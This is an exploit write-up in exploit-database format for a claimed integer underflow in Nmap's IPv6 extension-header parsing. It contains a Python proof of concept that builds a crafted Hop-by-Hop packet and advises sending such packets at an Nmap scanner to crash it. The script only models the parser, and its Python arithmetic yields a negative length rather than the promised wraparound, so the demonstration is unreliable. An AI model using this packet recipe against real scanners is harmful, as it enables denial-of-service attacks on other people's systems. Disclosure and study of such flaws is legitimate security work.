Nmap 7.99 - Extension Header Integer Underflow

# Exploit Title:         Nmap  7.99  - Extension Header Integer Underflow
# CVE:                   CVE-2026-58058
# Date:                  2026-06-29
# Exploit Author:        Mohammed Idrees Banyamer
# Author Country:        Jordan
# Instagram:             @banyamer_security
# Author GitHub:         https://github.com/mbanyamer
# Author Blog  :         https://banyamersecurity.com/blog/
# Vendor Homepage:       https://nmap.org
# Software Link:         https://nmap.org/download
# Affected:              Nmap <= 7.99
# Tested on:             Nmap 7.99 (raw IPv6 scans)
# Category:              Remote Denial of Service
# Platform:              Linux / Windows / macOS
# Exploit Type:          Proof of Concept
# CVSS:                  6.9
# Description:           Triggers integer underflow in IPv6 extension header parsing (ipv6_get_data_primitive) leading to OOB reads and crash.
# Fixed in:              Nmap commit bb6754e (post-7.99)
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py
#
# Options:
#   --
#
# Notes:
#   • This is a standalone parser + packet model PoC.
#   • For real triggering, craft and send IPv6 packets toward an Nmap scanner.
#
# How to Use
#
# Step 1:
#   Save as exploit.py and run with Python 3.
#
# Step 2:
#   Observe the length wraparound that would cause Nmap to misbehave.
def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

def is_extension(hdr):
    return hdr in [0, 43, 44, 60]

def is_upper(hdr):
    return hdr in [6, 17, 58, 132]

def parse_ipv6_payload(packet, upper_only=True):
    if len(packet) < 40:
        return None, None, None

    nxt = packet[6]
    p = 40
    end = len(packet)

    while p < end and is_extension(nxt):
        if p + 2 > end:
            return None, None, None
        nxt = packet[p]
        ext_len = packet[p + 1]
        p += (ext_len + 1) * 8

    payload_len = end - p
    if upper_only and not is_upper(nxt):
        return None, None, None

    return p, nxt, payload_len

def main():
    banner()

    # Crafted packet (48 bytes)
    packet = bytearray(48)
    packet[0] = 0x60
    packet[4] = 0x00
    packet[5] = 0x08   # IPv6 payload length = 8
    packet[6] = 0      # Next Header = Hop-by-Hop
    packet[40] = 17    # Extension next = UDP
    packet[41] = 1     # Extension length field = 1

    captured_len = len(packet)
    payload_offset, next_header, payload_len = parse_ipv6_payload(packet)

    print("helper_returned =", "true" if payload_offset is not None else "false")
    print("next_header =", next_header)
    print("payload_offset =", payload_offset)
    print("wrapped_payload_len =", payload_len)

    # Downstream length adjustment model
    ip_payload_len = (packet[4] << 8) | packet[5]
    validator_len = captured_len
    if payload_len > ip_payload_len:
        validator_len -= payload_len - ip_payload_len

    print("validator_len_after_adjust =", validator_len)
    print("captured_len =", captured_len)

if __name__ == "__main__":
    main()